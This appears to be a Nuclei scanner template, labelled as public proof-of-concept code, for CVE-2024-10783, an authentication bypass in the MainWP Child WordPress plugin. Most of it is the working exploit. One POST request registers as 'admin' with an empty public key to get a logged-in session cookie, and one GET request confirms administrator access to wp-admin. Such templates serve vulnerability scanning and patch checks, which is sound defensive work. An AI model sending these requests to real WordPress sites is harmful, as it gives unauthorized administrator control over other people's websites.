The plugin is vulnerable to an authentication bypass that allows an unauthenticated user to login as an administrator without providing a password. This vulnerability is only exploitable when the plugin has not been connected to a MainWP Dashboard and the "Require unique security ID" option is not enabled (it is disabled by default).
PoC代码[已公开]
id: CVE-2024-10783
info:
name: WordPress Plugin MainWP Child - Authentication Bypass
author: Sean Murphy,iamnoooob,rootxharsh,pdresearch
severity: high
description: |
The plugin is vulnerable to an authentication bypass that allows an unauthenticated user to login as an administrator without providing a password. This vulnerability is only exploitable when the plugin has not been connected to a MainWP Dashboard and the "Require unique security ID" option is not enabled (it is disabled by default).
reference:
- https://wpscan.com/vulnerability/1898d4f4-1874-4d00-8930-15774d57c9ed/
- https://plugins.trac.wordpress.org/browser/mainwp-child/tags/5.2/class/class-mainwp-child.php#L76
- https://plugins.trac.wordpress.org/browser/mainwp-child/tags/5.2/class/class-mainwp-connect.php#L69
- https://plugins.trac.wordpress.org/browser/mainwp-child/tags/5.2/class/class-mainwp-connect.php#L788
- https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3197586%40mainwp-child&new=3197586%40mainwp-child&sfp_email=&sfph_mail=
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.1
cve-id: CVE-2024-10783
cwe-id: CWE-862
epss-score: 0.26953
epss-percentile: 0.96203
metadata:
verified: true
max-request: 2
publicwww-query: "/wp-content/plugins/mainwp-child/"
tags: cve,cve2024,wp,mainwp-child,wpscan,wordpress,wp-plugin,auth-bypass
flow: http(1) && http(2)
variables:
username: admin
http:
- raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
function=register&user={{username}}&pubkey=
matchers-condition: and
matchers:
- type: word
part: header
words:
- wordpress_logged_in
internal: true
- type: word
part: body
words:
- '<mainwp>'
internal: true
- raw:
- |
GET /wp-admin/index.php HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'Howdy, {{username}}'
- type: status
status:
- 200
# digest: 4a0a00473045022100e613d67a8c0321407ea2fcde7b34b0e61180de702a3168444931f8548778d12602201d29a21957f390fa47a96aae61c42ae6c7cf9d24648598b651bc9ecc606a4353:922c64590222798bb761d5b6d8e72950